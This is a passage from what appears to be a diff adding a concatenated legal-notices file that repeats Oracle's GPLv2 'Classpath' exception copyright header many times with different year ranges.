+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 1995, 2006, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 1995, 2007, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 1995, 2008, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 1995, 2010, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 1995, 2011, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 1995, 2012, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 1995, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 1996, 1997, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 1996, 1998, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 1996, 1999, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 1996, 2000, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 1996, 2001, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 1996, 2002, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 1996, 2003, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 1996, 2004, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 1996, 2005, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 1996, 2006, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 1996, 2007, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 1996, 2008, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 1996, 2009, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 1996, 2010, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 1996, 2011, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 1996, 2012, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 1996, 2013, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 1996, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 1997, 1998, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 1997, 1999, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 1997, 2000, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 1997, 2001, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 1997, 2002, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 1997, 2003, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
